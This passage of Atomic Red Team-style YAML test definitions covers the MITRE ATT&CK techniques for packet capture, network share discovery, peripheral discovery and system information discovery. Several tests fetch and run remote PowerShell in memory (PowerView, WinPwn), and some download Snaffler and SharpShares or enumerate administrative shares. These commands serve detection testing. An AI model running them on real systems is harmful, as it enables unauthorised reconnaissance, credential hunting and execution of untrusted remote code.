prereq_command: 'exit 1 ' get_prereq_command: 'cc #{csource_path} -o #{program_path} ' executor: command: 'sudo #{program_path} -i #{ifname} -t 3 ' cleanup_command: 'rm -f #{program_path} ' name: bash elevation_required: true - name: Filtered Packet Capture macOS using /dev/bpfN with sudo auto_generated_guid: e2480aee-23f3-4f34-80ce-de221e27cd19 description: 'Opens a /dev/bpf file (O_RDONLY), sets BPF filter for ''udp'' and captures packets for a few seconds. ' supported_platforms: - macos input_arguments: ifname: description: Specify interface to perform PCAP on. type: string default: en0 csource_path: description: Path to C program source type: string default: PathToAtomicsFolder/T1040/src/macos_pcapdemo.c program_path: description: Path to compiled C program type: string default: "/tmp/t1040_macos_pcapdemo" dependency_executor_name: bash dependencies: - description: 'compile C program ' prereq_command: 'exit 1 ' get_prereq_command: 'cc #{csource_path} -o #{program_path} ' executor: command: 'sudo #{program_path} -f -i #{ifname} -t 3 ' cleanup_command: 'rm -f #{program_path} ' name: bash elevation_required: true - name: Packet Capture FreeBSD using /dev/bpfN with sudo auto_generated_guid: e2028771-1bfb-48f5-b5e6-e50ee0942a14 description: 'Opens a /dev/bpf file (O_RDONLY) and captures packets for a few seconds. ' supported_platforms: - linux input_arguments: ifname: description: Specify interface to perform PCAP on. type: string default: em0 csource_path: description: Path to C program source type: string default: PathToAtomicsFolder/T1040/src/freebsd_pcapdemo.c program_path: description: Path to compiled C program type: string default: "/tmp/t1040_freebsd_pcapdemo" dependency_executor_name: sh dependencies: - description: 'compile C program ' prereq_command: 'exit 1 ' get_prereq_command: 'cc #{csource_path} -o #{program_path} ' executor: command: 'sudo #{program_path} -i #{ifname} -t 3 ' cleanup_command: 'rm -f #{program_path} ' name: sh elevation_required: true - name: Filtered Packet Capture FreeBSD using /dev/bpfN with sudo auto_generated_guid: a3a0d4c9-c068-4563-a08d-583bd05b884c description: 'Opens a /dev/bpf file (O_RDONLY), sets BPF filter for ''udp'' and captures packets for a few seconds. ' supported_platforms: - linux input_arguments: ifname: description: Specify interface to perform PCAP on. type: string default: em0 csource_path: description: Path to C program source type: string default: PathToAtomicsFolder/T1040/src/freebsd_pcapdemo.c program_path: description: Path to compiled C program type: string default: "/tmp/t1040_freebsd_pcapdemo" dependency_executor_name: sh dependencies: - description: 'compile C program ' prereq_command: 'exit 1 ' get_prereq_command: 'cc #{csource_path} -o #{program_path} ' executor: command: 'sudo #{program_path} -f -i #{ifname} -t 3 ' cleanup_command: 'rm -f #{program_path} ' name: sh elevation_required: true - name: Packet Capture Linux socket AF_PACKET,SOCK_RAW with sudo auto_generated_guid: 10c710c9-9104-4d5f-8829-5b65391e2a29 description: 'Captures packets with domain=AF_PACKET, type=SOCK_RAW for a few seconds. ' supported_platforms: - linux input_arguments: csource_path: description: Path to C program source type: string default: PathToAtomicsFolder/T1040/src/linux_pcapdemo.c program_path: description: Path to compiled C program type: string default: "/tmp/t1040_linux_pcapdemo" dependency_executor_name: bash dependencies: - description: 'compile C program ' prereq_command: 'if [ -f "#{program_path}" ]; then exit 0; else exit 1; fi ' get_prereq_command: 'cc #{csource_path} -o #{program_path} ' executor: command: 'sudo #{program_path} -a -t 3 ' cleanup_command: 'rm -f #{program_path} ' name: bash elevation_required: true - name: Packet Capture Linux socket AF_INET,SOCK_RAW,TCP with sudo auto_generated_guid: 7a0895f0-84c1-4adf-8491-a21510b1d4c1 description: 'Captures packets with domain=AF_INET,type=SOCK_RAW,protocol=TCP for a few seconds. ' supported_platforms: - linux input_arguments: csource_path: description: Path to C program source type: string default: PathToAtomicsFolder/T1040/src/linux_pcapdemo.c program_path: description: Path to compiled C program type: string default: "/tmp/t1040_linux_pcapdemo" dependency_executor_name: bash dependencies: - description: 'compile C program ' prereq_command: 'if [ -f "#{program_path}" ]; then exit 0; else exit 1; fi ' get_prereq_command: 'cc #{csource_path} -o #{program_path} ' executor: command: 'sudo #{program_path} -4 -p 6 -t 3 ' cleanup_command: 'rm -f #{program_path} ' name: bash elevation_required: true - name: Packet Capture Linux socket AF_INET,SOCK_PACKET,UDP with sudo auto_generated_guid: 515575ab-d213-42b1-aa64-ef6a2dd4641b description: | Captures packets with domain=AF_INET,type=SOCK_PACKET,protocol=UDP for a few seconds. SOCK_PACKET is "obsolete" according to the man page, but still works on Ubuntu 20.04 supported_platforms: - linux input_arguments: csource_path: description: Path to C program source type: string default: PathToAtomicsFolder/T1040/src/linux_pcapdemo.c program_path: description: Path to compiled C program type: string default: "/tmp/t1040_linux_pcapdemo" dependency_executor_name: bash dependencies: - description: 'compile C program ' prereq_command: 'if [ -f "#{program_path}" ]; then exit 0; else exit 1; fi ' get_prereq_command: 'cc #{csource_path} -o #{program_path} ' executor: command: 'sudo #{program_path} -4 -P -p 17 -t 3 ' cleanup_command: 'rm -f #{program_path} ' name: bash elevation_required: true - name: Packet Capture Linux socket AF_PACKET,SOCK_RAW with BPF filter for UDP with sudo auto_generated_guid: b1cbdf8b-6078-48f5-a890-11ea19d7f8e9 description: | Captures packets with domain=AF_PACKET,type=SOCK_RAW for a few seconds. Sets a BPF filter on the socket to filter for UDP traffic. supported_platforms: - linux input_arguments: csource_path: description: Path to C program source type: string default: PathToAtomicsFolder/T1040/src/linux_pcapdemo.c program_path: description: Path to compiled C program type: string default: "/tmp/t1040_linux_pcapdemo" dependency_executor_name: bash dependencies: - description: 'compile C program ' prereq_command: 'if [ -f "#{program_path}" ]; then exit 0; else exit 1; fi ' get_prereq_command: 'cc #{csource_path} -o #{program_path} ' executor: command: 'sudo #{program_path} -a -f -t 3 ' cleanup_command: 'rm -f #{program_path} ' name: bash elevation_required: true - name: PowerShell Network Sniffing auto_generated_guid: 9c15a7de-de14-46c3-bc2a-6d94130986ae description: |- PowerShell Built-in Cmdlets to capture network traffic. https://learn.microsoft.com/en-us/powershell/module/neteventpacketcapture/new-neteventsession?view=windowsserver2022-ps supported_platforms: - windows executor: command: | New-NetEventSession -Name Capture007 -LocalFilePath "$ENV:Temp\sniff.etl" Add-NetEventPacketCaptureProvider -SessionName Capture007 -TruncationLength 100 Start-NetEventSession -Name Capture007 Stop-NetEventSession -Name Capture007 Remove-NetEventSession -Name Capture007 cleanup_command: del $ENV:Temp\sniff.etl name: powershell elevation_required: true T1135: technique: modified: '2023-09-29T19:44:43.870Z' name: Network Share Discovery description: "Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement. Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network. \n\nFile sharing over a Windows network occurs over the SMB protocol. (Citation: Wikipedia Shared Resource) (Citation: TechNet Shared Folder) [Net](https://attack.mitre.org/software/S0039) can be used to query a remote system for available shared drives using the net view \\\\\\\\remotesystem command. It can also be used to query shared drives on the local system using net share. For macOS, the sharing -l command lists all shared points used for smb services." kill_chain_phases: - kill_chain_name: mitre-attack phase_name: discovery x_mitre_contributors: - Praetorian x_mitre_deprecated: false x_mitre_detection: |- System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained. Normal, benign system and network events related to legitimate remote system discovery may be uncommon, depending on the environment and how they are used. Monitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001). x_mitre_domains: - enterprise-attack x_mitre_is_subtechnique: false x_mitre_platforms: - macOS - Windows - Linux x_mitre_version: '3.2' x_mitre_data_sources: - 'Process: OS API Execution' - 'Command: Command Execution' - 'Process: Process Creation' type: attack-pattern id: attack-pattern--3489cfc5-640f-4bb3-a103-9137b97de79f created: '2017-12-14T16:46:06.044Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 revoked: false external_references: - source_name: mitre-attack url: https://attack.mitre.org/techniques/T1135 external_id: T1135 - source_name: TechNet Shared Folder description: Microsoft. (n.d.). Share a Folder or Drive. Retrieved June 30, 2017. url: https://technet.microsoft.com/library/cc770880.aspx - source_name: Wikipedia Shared Resource description: Wikipedia. (2017, April 15). Shared resource. Retrieved June 30, 2017. url: https://en.wikipedia.org/wiki/Shared_resource object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 x_mitre_attack_spec_version: 3.2.0 x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 spec_version: '2.1' identifier: T1135 atomic_tests: - name: Network Share Discovery auto_generated_guid: f94b5ad9-911c-4eff-9718-fd21899db4f7 description: 'Network Share Discovery ' supported_platforms: - macos input_arguments: computer_name: description: Computer name to find a mount on. type: string default: computer1 executor: command: | df -aH smbutil view -g //#{computer_name} showmount #{computer_name} name: sh - name: Network Share Discovery - linux auto_generated_guid: 875805bc-9e86-4e87-be86-3a5527315cae description: 'Network Share Discovery using smbstatus ' supported_platforms: - linux input_arguments: package_checker: description: Package checking command. Debian - dpkg -s samba type: string default: "(rpm -q samba &>/dev/null) || (dpkg -s samba | grep -q installed)" package_installer: description: Package installer command. Debian - apt install samba type: string default: "(which yum && yum -y install epel-release samba)||(which apt-get && DEBIAN_FRONTEND=noninteractive apt-get install -y samba)" dependency_executor_name: bash dependencies: - description: 'Package with smbstatus (samba) must exist on device ' prereq_command: 'if #{package_checker} > /dev/null; then exit 0; else exit 1; fi ' get_prereq_command: "sudo #{package_installer} \n" executor: command: 'sudo smbstatus --shares ' name: bash elevation_required: true - name: Network Share Discovery - FreeBSD auto_generated_guid: 77e468a6-3e5c-45a1-9948-c4b5603747cb description: 'Network Share Discovery using smbstatus ' supported_platforms: - linux input_arguments: package_checker: description: Package checking command. pkg info -x samba type: string default: "(pkg info -x samba &>/dev/null)" package_installer: description: Package installer command. pkg install -y samba413 type: string default: "(which pkg && pkg install -y samba413)" dependency_executor_name: sh dependencies: - description: 'Package with smbstatus (samba) must exist on device ' prereq_command: 'if #{package_checker} > /dev/null; then exit 0; else exit 1; fi ' get_prereq_command: "#{package_installer} \n" executor: command: 'smbstatus --shares ' name: sh elevation_required: true - name: Network Share Discovery command prompt auto_generated_guid: 20f1097d-81c1-405c-8380-32174d493bbb description: | Network Share Discovery utilizing the command prompt. The computer name variable may need to be modified to point to a different host Upon execution avalaible network shares will be displayed in the powershell session supported_platforms: - windows input_arguments: computer_name: description: Computer name to find a mount on. type: string default: localhost executor: command: 'net view \\#{computer_name} ' name: command_prompt - name: Network Share Discovery PowerShell auto_generated_guid: 1b0814d1-bb24-402d-9615-1b20c50733fb description: | Network Share Discovery utilizing PowerShell. The computer name variable may need to be modified to point to a different host Upon execution, avalaible network shares will be displayed in the powershell session supported_platforms: - windows executor: command: 'get-smbshare ' name: powershell - name: View available share drives auto_generated_guid: ab39a04f-0c93-4540-9ff2-83f862c385ae description: View information about all of the resources that are shared on the local computer Upon execution, avalaible share drives will be displayed in the powershell session supported_platforms: - windows executor: command: 'net share ' name: command_prompt - name: Share Discovery with PowerView auto_generated_guid: b1636f0a-ba82-435c-b699-0d78794d8bfd description: 'Enumerate Domain Shares the current user has access. Upon execution, progress info about each share being scanned will be displayed. ' supported_platforms: - windows dependency_executor_name: powershell dependencies: - description: 'Endpoint must be joined to domain ' prereq_command: 'if ((Get-WmiObject -Class Win32_ComputerSystem).PartofDomain) {exit 0} else {exit 1} ' get_prereq_command: '"Join system to domain" ' executor: command: | [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12 IEX (IWR 'https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/f94a5d298a1b4c5dfb1f30a246d9c73d13b22888/Recon/PowerView.ps1' -UseBasicParsing); Find-DomainShare -CheckShareAccess -Verbose name: powershell - name: PowerView ShareFinder auto_generated_guid: d07e4cc1-98ae-447e-9d31-36cb430d28c4 description: PowerView is a PowerShell tool to gain network situational awareness on Windows domains. ShareFinder finds (non-standard) shares on machines in the domain. supported_platforms: - windows input_arguments: parameters: description: ShareFinder parameter type: string default: "-CheckShareAccess" dependencies: - description: Invoke-ShareFinder module must exist in %TEMP% directory prereq_command: 'if (Test-Path "PathToAtomicsFolder\..\ExternalPayloads\PowerView.ps1") {exit 0} else {exit 1} ' get_prereq_command: | New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null Invoke-WebRequest "https://raw.githubusercontent.com/darkoperator/Veil-PowerView/8784e33f17ee7543ba2f45e27dc5f08ea3a1b856/PowerView/powerview.ps1" -OutFile "PathToAtomicsFolder\..\ExternalPayloads\PowerView.ps1" executor: command: | Import-Module "PathToAtomicsFolder\..\ExternalPayloads\PowerView.ps1" Invoke-ShareFinder #{parameters} name: powershell - name: WinPwn - shareenumeration auto_generated_guid: 987901d1-5b87-4558-a6d9-cffcabc638b8 description: Network share enumeration using the shareenumeration function of WinPwn supported_platforms: - windows executor: command: |- $S3cur3Th1sSh1t_repo='https://raw.githubusercontent.com/S3cur3Th1sSh1t' iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1') shareenumeration -noninteractive -consoleoutput name: powershell - name: Network Share Discovery via dir command auto_generated_guid: 13daa2cf-195a-43df-a8bd-7dd5ffb607b5 description: | Network Share Discovery utilizing the dir command prompt. The computer ip variable may need to be modified to point to a different host ip Upon execution avalaible network shares will be displayed in the commandline session supported_platforms: - windows input_arguments: computer_ip: description: Computer IP to find a mount on. type: string default: 127.0.0.1 executor: command: | dir \\#{computer_ip}\c$ dir \\#{computer_ip}\admin$ dir \\#{computer_ip}\IPC$ name: command_prompt - name: Enumerate All Network Shares with SharpShares auto_generated_guid: d1fa2a69-b0a2-4e8a-9112-529b00c19a41 description: "SharpShares is a command line tool that can be integrated with Cobalt Strike's execute-assembly module, allowing for the enumeration of network shares. \nThis technique has been utilized by various ransomware groups, including BianLian.\n[Reference](https://www.cisa.gov/news-events/cybersecurity-advisories/aa23-136a)\n" supported_platforms: - windows input_arguments: output_path: description: File to output enumeration results to type: String default: "$env:temp\\T1135SharpSharesOutput.txt" sharp_path: description: Path to the SharpShares executable type: String default: PathToAtomicsFolder\..\ExternalPayloads\SharpShares.exe dependency_executor_name: powershell dependencies: - description: The SharpShares executable must exist on disk prereq_command: if (Test-Path "PathToAtomicsFolder\..\ExternalPayloads\SharpShares.exe") {exit 0} else {exit 1} get_prereq_command: |- New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null Invoke-WebRequest "https://github.com/mitchmoser/SharpShares/releases/download/v2.4/SharpShares.exe" -OutFile "PathToAtomicsFolder\..\ExternalPayloads\SharpShares.exe" executor: command: cmd /c '#{sharp_path}' /ldap:all | out-file -filepath "#{output_path}" cleanup_command: remove-item "#{output_path}" -force -erroraction silentlycontinue name: powershell elevation_required: false - name: Enumerate All Network Shares with Snaffler auto_generated_guid: b19d74b7-5e72-450a-8499-82e49e379d1a description: "Snaffler is an open-source tool that has been used by various threat groups, including Scattered Spider/Muddled Libra, to enumerate accessible shares and credential-containing files within a domain. \n[Reference](https://unit42.paloaltonetworks.com/muddled-libra/)\n" supported_platforms: - windows input_arguments: output_path: description: File to output enumeration results to type: String default: "$env:temp\\T1135SnafflerOutput.txt" snaffler_path: description: Path to the Snaffler executable type: String default: PathToAtomicsFolder\..\ExternalPayloads\Snaffler.exe dependency_executor_name: powershell dependencies: - description: The Snaffler executable must exist on disk prereq_command: if (Test-Path "PathToAtomicsFolder\..\ExternalPayloads\Snaffler.exe") {exit 0} else {exit 1} get_prereq_command: |- New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null Invoke-WebRequest "https://github.com/SnaffCon/Snaffler/releases/download/1.0.150/Snaffler.exe" -OutFile "PathToAtomicsFolder\..\ExternalPayloads\Snaffler.exe" executor: command: 'invoke-expression ''cmd /c start powershell -command { cmd /c "#{snaffler_path}" -a -o "#{output_path}" }; start-sleep 90; stop-process -name "snaffler"'' ' cleanup_command: remove-item "#{output_path}" -force -erroraction silentlycontinue name: powershell elevation_required: false T1120: technique: modified: '2023-05-09T14:00:00.188Z' name: Peripheral Device Discovery description: 'Adversaries may attempt to gather information about attached peripheral devices and components connected to a computer system.(Citation: Peripheral Discovery Linux)(Citation: Peripheral Discovery macOS) Peripheral devices could include auxiliary resources that support a variety of functionalities such as keyboards, printers, cameras, smart card readers, or removable storage. The information may be used to enhance their awareness of the system and network environment or may be used for further actions.' kill_chain_phases: - kill_chain_name: mitre-attack phase_name: discovery x_mitre_detection: |- System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities based on the information obtained. Monitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001). x_mitre_domains: - enterprise-attack x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 x_mitre_platforms: - Windows - macOS - Linux x_mitre_version: '1.3' x_mitre_data_sources: - 'Process: OS API Execution' - 'Process: Process Creation' - 'Command: Command Execution' x_mitre_permissions_required: - User - Administrator - SYSTEM type: attack-pattern id: attack-pattern--348f1eef-964b-4eb6-bb53-69b3dcb0c643 created: '2017-05-31T21:31:28.471Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 external_references: - source_name: mitre-attack url: https://attack.mitre.org/techniques/T1120 external_id: T1120 - source_name: Peripheral Discovery Linux description: Shahriar Shovon. (2018, March). List USB Devices Linux. Retrieved March 11, 2022. url: https://linuxhint.com/list-usb-devices-linux/ - source_name: Peripheral Discovery macOS description: SS64. (n.d.). system_profiler. Retrieved March 11, 2022. url: https://ss64.com/osx/system_profiler.html object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 x_mitre_attack_spec_version: 3.1.0 x_mitre_is_subtechnique: false spec_version: '2.1' identifier: T1120 atomic_tests: - name: Win32_PnPEntity Hardware Inventory auto_generated_guid: 2cb4dbf2-2dca-4597-8678-4d39d207a3a5 description: Perform peripheral device discovery using Get-WMIObject Win32_PnPEntity supported_platforms: - windows executor: command: |- Get-WMIObject Win32_PnPEntity | Format-Table Name, Description, Manufacturer > $env:TEMP\T1120_collection.txt $Space,$Heading,$Break,$Data = Get-Content $env:TEMP\T1120_collection.txt @($Heading; $Break; $Data |Sort-Object -Unique) | ? {$_.trim() -ne "" } |Set-Content $env:TEMP\T1120_collection.txt cleanup_command: Remove-Item $env:TEMP\T1120_collection.txt -ErrorAction Ignore name: powershell - name: WinPwn - printercheck auto_generated_guid: cb6e76ca-861e-4a7f-be08-564caa3e6f75 description: Search for printers / potential vulns using printercheck function of WinPwn supported_platforms: - windows executor: command: |- $S3cur3Th1sSh1t_repo='https://raw.githubusercontent.com/S3cur3Th1sSh1t' iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1') printercheck -noninteractive -consoleoutput name: powershell - name: Peripheral Device Discovery via fsutil auto_generated_guid: 424e18fd-48b8-4201-8d3a-bf591523a686 description: Performs pheripheral device discovery utilizing fsutil to list all drives. supported_platforms: - windows executor: command: fsutil fsinfo drives name: command_prompt T1082: technique: modified: '2023-05-09T14:00:00.188Z' name: System Information Discovery description: |- An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from [System Information Discovery](https://attack.mitre.org/techniques/T1082) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions. Tools such as [Systeminfo](https://attack.mitre.org/software/S0096) can be used to gather detailed system information. If running with privileged access, a breakdown of system data can be gathered through the systemsetup configuration tool on macOS. As an example, adversaries with user-level access can execute the df -aH command to obtain currently mounted disks and associated freely available space. Adversaries may also leverage a [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) on network devices to gather detailed system information (e.g. show version).(Citation: US-CERT-TA18-106A) [System Information Discovery](https://attack.mitre.org/techniques/T1082) combined with information gathered from other forms of discovery and reconnaissance can drive payload development and concealment.(Citation: OSX.FairyTale)(Citation: 20 macOS Common Tools and Techniques) Infrastructure as a Service (IaaS) cloud providers such as AWS, GCP, and Azure allow access to instance and virtual machine information via APIs. Successful authenticated API calls can return data such as the operating system platform and status of a particular instance or the model view of a virtual machine.(Citation: Amazon Describe Instance)(Citation: Google Instances Resource)(Citation: Microsoft Virutal Machine API) kill_chain_phases: - kill_chain_name: mitre-attack phase_name: discovery x_mitre_attack_spec_version: 2.1.0 x_mitre_contributors: - Maril Vernon @shewhohacks - Praetorian - Austin Clark, @c2defense x_mitre_deprecated: false x_mitre_detection: |- System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities based on the information obtained. Monitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Further, [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) commands may also be used to gather detailed system information with built-in features native to the network device platform. Monitor CLI activity for unexpected or unauthorized use commands being run by non-standard users from non-standard locations. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001). In cloud-based systems, native logging can be used to identify access to certain APIs and dashboards that may contain system information. Depending on how the environment is used, that data alone may not be useful due to benign use during normal operations. x_mitre_domains: - enterprise-attack x_mitre_is_subtechnique: false x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 x_mitre_platforms: - Windows - IaaS - Linux - macOS - Network x_mitre_version: '2.5' x_mitre_data_sources: - 'Process: OS API Execution' - 'Process: Process Creation' - 'Command: Command Execution' type: attack-pattern id: attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1 created: '2017-05-31T21:31:04.307Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 revoked: false external_references: - source_name: mitre-attack url: https://attack.mitre.org/techniques/T1082 external_id: T1082 - source_name: Amazon Describe Instance description: Amazon. (n.d.). describe-instance-information. Retrieved March 3, 2020. url: https://docs.aws.amazon.com/cli/latest/reference/ssm/describe-instance-information.html - source_name: Google Instances Resource description: 'Google. (n.d.). Rest Resource: instance. Retrieved March 3, 2020.' url: https://cloud.google.com/compute/docs/reference/rest/v1/instances - source_name: Microsoft Virutal Machine API description: Microsoft. (2019, March 1). Virtual Machines - Get. Retrieved October 8, 2019. url: https://docs.microsoft.com/en-us/rest/api/compute/virtualmachines/get - source_name: 20 macOS Common Tools and Techniques description: Phil Stokes. (2021, February 16). 20 Common Tools & Techniques Used by macOS Threat Actors & Malware. Retrieved August 23, 2021. url: https://labs.sentinelone.com/20-common-tools-techniques-used-by-macos-threat-actors-malware/ - source_name: OSX.FairyTale description: Phile Stokes. (2018, September 20). On the Trail of OSX.FairyTale | Adware Playing at Malware. Retrieved August 24, 2021. url: https://www.sentinelone.com/blog/trail-osx-fairytale-adware-playing-malware/ - source_name: US-CERT-TA18-106A description: US-CERT. (2018, April 20). Alert (TA18-106A) Russian State-Sponsored Cyber Actors Targeting Network Infrastructure Devices. Retrieved October 19, 2020. url: https://www.us-cert.gov/ncas/alerts/TA18-106A object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 spec_version: '2.1' identifier: T1082 atomic_tests: - name: System Information Discovery auto_generated_guid: 66703791-c902-4560-8770-42b8a91f7667 description: 'Identify System Info. Upon execution, system info and time info will be displayed. ' supported_platforms: - windows executor: command: | systeminfo reg query HKLM\SYSTEM\CurrentControlSet\Services\Disk\Enum name: command_prompt - name: System Information Discovery auto_generated_guid: edff98ec-0f73-4f63-9890-6b117092aff6 description: 'Identify System Info ' supported_platforms: - macos executor: command: | system_profiler ls -al /Applications name: sh - name: List OS Information auto_generated_guid: cccb070c-df86-4216-a5bc-9fb60c74e27c description: 'Identify System Info ' supported_platforms: - linux - macos input_arguments: output_file: description: Output file used to store the results. type: path default: "/tmp/T1082.txt" executor: command: "uname -a >> #{output_file}\nif [ -f /etc/lsb-release ]; then cat /etc/lsb-release >> #{output_file}; fi\nif [ -f /etc/redhat-release ]; then cat /etc/redhat-release >> #{output_file}; fi \nif [ -f /etc/issue ]; then cat /etc/issue >> #{output_file}; fi\nif [ -f /etc/os-release ]; then cat /etc/os-release >> #{output_file}; fi\nuptime >> #{output_file}\ncat #{output_file} 2>/dev/null\n" cleanup_command: 'rm #{output_file} 2>/dev/null ' name: sh - name: Linux VM Check via Hardware auto_generated_guid: 31dad7ad-2286-4c02-ae92-274418c85fec description: 'Identify virtual machine hardware. This technique is used by the Pupy RAT and other malware. ' supported_platforms: - linux executor: elevation_required: true command: | if [ -f /sys/class/dmi/id/bios_version ]; then cat /sys/class/dmi/id/bios_version | grep -i amazon; fi if [ -f /sys/class/dmi/id/product_name ]; then cat /sys/class/dmi/id/product_name | grep -i "Droplet\|HVM\|VirtualBox\|VMware"; fi if [ -f /sys/class/dmi/id/product_name ]; then cat /sys/class/dmi/id/chassis_vendor | grep -i "Xen\|Bochs\|QEMU"; fi if [ -x "$(command -v dmidecode)" ]; then sudo dmidecode | grep -i "microsoft\|vmware\|virtualbox\|quemu\|domu"; fi if [ -f /proc/scsi/scsi ]; then cat /proc/scsi/scsi | grep -i "vmware\|vbox"; fi if [ -f /proc/ide/hd0/model ]; then cat /proc/ide/hd0/model | grep -i "vmware\|vbox\|qemu\|virtual"; fi if [ -x "$(command -v lspci)" ]; then sudo lspci | grep -i "vmware\|virtualbox"; fi if [ -x "$(command -v lscpu)" ]; then sudo lscpu | grep -i "Xen\|KVM\|Microsoft"; fi name: bash - name: Linux VM Check via Kernel Modules auto_generated_guid: 8057d484-0fae-49a4-8302-4812c4f1e64e description: 'Identify virtual machine guest kernel modules. This technique is used by the Pupy RAT and other malware. ' supported_platforms: - linux executor: command: | sudo lsmod | grep -i "vboxsf\|vboxguest" sudo lsmod | grep -i "vmw_baloon\|vmxnet" sudo lsmod | grep -i "xen-vbd\|xen-vnif" sudo lsmod | grep -i "virtio_pci\|virtio_net" sudo lsmod | grep -i "hv_vmbus\|hv_blkvsc\|hv_netvsc\|hv_utils\|hv_storvsc" name: bash elevation_required: true - name: FreeBSD VM Check via Kernel Modules auto_generated_guid: eefe6a49-d88b-41d8-8fc2-b46822da90d3 description: 'Identify virtual machine host kernel modules. ' supported_platforms: - linux executor: command: | kldstat | grep -i "vmm" kldstat | grep -i "vbox" name: sh - name: Hostname Discovery (Windows) auto_generated_guid: 85cfbf23-4a1e-4342-8792-007e004b975f description: 'Identify system hostname for Windows. Upon execution, the hostname of the device will be displayed. ' supported_platforms: - windows executor: command: 'hostname ' name: command_prompt - name: Hostname Discovery auto_generated_guid: 486e88ea-4f56-470f-9b57-3f4d73f39133 description: 'Identify system hostname for FreeBSD, Linux and macOS systems. ' supported_platforms: - linux - macos executor: command: 'hostname ' name: sh - name: Windows MachineGUID Discovery auto_generated_guid: 224b4daf-db44-404e-b6b2-f4d1f0126ef8 description: 'Identify the Windows MachineGUID value for a system. Upon execution, the machine GUID will be displayed from registry. ' supported_platforms: - windows executor: command: 'REG QUERY HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography /v MachineGuid ' name: command_prompt - name: Griffon Recon auto_generated_guid: 69bd4abe-8759-49a6-8d21-0f15822d6370 description: "This script emulates the reconnaissance script seen in used by Griffon and was modified by security researcher Kirk Sayre \nin order simply print the recon results to the screen as opposed to exfiltrating them. [Script](https://gist.github.com/kirk-sayre-work/7cb5bf4e2c7c77fa5684ddc17053f1e5). \ \nFor more information see also [https://malpedia.caad.fkie.fraunhofer.de/details/js.griffon](https://malpedia.caad.fkie.fraunhofer.de/details/js.griffon) and [https://attack.mitre.org/software/S0417/](https://attack.mitre.org/software/S0417/)" supported_platforms: - windows input_arguments: vbscript: description: Path to sample script type: string default: PathToAtomicsFolder\T1082\src\griffon_recon.vbs dependency_executor_name: powershell dependencies: - description: 'Sample script file must exist on disk at specified location (#{vbscript}) ' prereq_command: 'if (Test-Path "#{vbscript}") {exit 0} else {exit 1} ' get_prereq_command: | New-Item -Type Directory (split-path "#{vbscript}") -ErrorAction ignore | Out-Null Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1082/src/griffon_recon.vbs" -OutFile "#{vbscript}" executor: command: 'cscript "#{vbscript}" ' name: powershell elevation_required: false - name: Environment variables discovery on windows auto_generated_guid: f400d1c0-1804-4ff8-b069-ef5ddd2adbf3 description: 'Identify all environment variables. Upon execution, environments variables and your path info will be displayed. ' supported_platforms: - windows executor: command: 'set ' name: command_prompt - name: Environment variables discovery on freebsd, macos and linux auto_generated_guid: fcbdd43f-f4ad-42d5-98f3-0218097e2720 description: 'Identify all environment variables. Upon execution, environments variables and your path info will be displayed. ' supported_platforms: - linux - macos executor: command: 'env ' name: sh - name: Show System Integrity Protection status (MacOS) auto_generated_guid: 327cc050-9e99-4c8e-99b5-1d15f2fb6b96 description: 'Read and Display System Intergrety Protection status. csrutil is commonly used by malware and post-exploitation tools to determine whether certain files and directories on the system are writable or not. ' supported_platforms: - macos executor: command: 'csrutil status ' name: sh - name: WinPwn - winPEAS auto_generated_guid: eea1d918-825e-47dd-acc2-814d6c58c0e1 description: Discover Local Privilege Escalation possibilities using winPEAS function of 